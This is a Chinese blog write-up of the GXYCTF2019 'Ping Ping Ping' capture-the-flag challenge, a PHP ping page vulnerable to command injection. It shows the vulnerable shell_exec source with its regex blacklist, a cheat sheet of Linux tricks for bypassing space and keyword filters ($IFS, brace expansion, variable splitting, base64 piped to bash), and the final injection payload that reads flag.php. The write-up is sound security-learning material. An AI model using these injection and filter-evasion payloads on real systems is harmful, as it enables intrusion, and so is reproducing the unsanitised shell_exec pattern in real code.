[GXYCTF2019]Ping Ping Ping
[GXYCTF2019]Ping Ping Ping#
命令执行相关的漏洞,正常可以执行,然后测试测试哪些符号或者命令可能被过滤掉了
发现简单的 ; 符号都没过滤,直接 cat 一下 flag.php 吧
发现这里有过滤 空格 ,可以试试其他绕过空格限制的方法。
# Linux 下绕过空格限制
$IFS # Internal Field Separator (内部字段分隔符)默认为(空格、制表符、换号)。
${IFS}
$IFS$1 //改成$[1,2,3,4,5,6,7,8,9]
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
$'\x20'
# 过滤关键字
a=g;b=fla$a.php;cat$IFS$1$b # 赋值引用
ca\t fl\ag.php # 不影响命令执行
cat f*.php # 匹配关键字
echo "Y2F0IGZsYWcucGhw" | base64 -d | bash # cat flag.php的base64编码通过管道执行
cat `ls` #ls出来的文件名都会被cat
经过一系列的尝试和奔溃,发现过滤了 ['、{}、flag严格的匹配、空格、<、%、?、*],最终还是发现了蛛丝马迹啊。
# payload
?ip=127.0.0.1;cat$IFS$1index.php
# 源码
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
# 简直都快过滤的一点不剩了这。
但是可以发现
1和 $ 号 并没有被过滤,说明还是不是很严格啊。
# 利用linux中的赋值将flag.php字符串分开,再引用变量构造payload
?ip=127.0.0.1;a=f;b=ag;c=l;cat$IFS$a$c$b.php
没看到 flag 啊啊 啊 啊 !不要慌 [Ctrl+Shift+i] 试试。
作者:knsec
出处:https://www.cnblogs.com/knsec-cnblogs/p/16582255.html
版权:本作品采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。
备注:你可以在这里自定义其他内容,支持 HTML
本文来自博客园,作者:knsec,转载请注明原文链接:https://www.cnblogs.com/knsec-cnblogs/p/16582255.html
【推荐】博客园的心动:当一群程序员决定开源共建一个真诚相亲平台
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】Flutter适配HarmonyOS 5知识地图,实战解析+高频避坑指南
【推荐】开源 Linux 服务器运维管理面板 1Panel V2 版本正式发布
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 历时半年,我将一个大型asp.net的零代码快速开发平台转成了java
· C#实现语音预处理:降噪、静音检测、自动增益(附Demo源码)
· 推荐五大AI+MCP自动化测试工具!
· 记一次 .NET 某无语的电商采集系统 CPU爆高分析
· Spring Boot 启动优化实践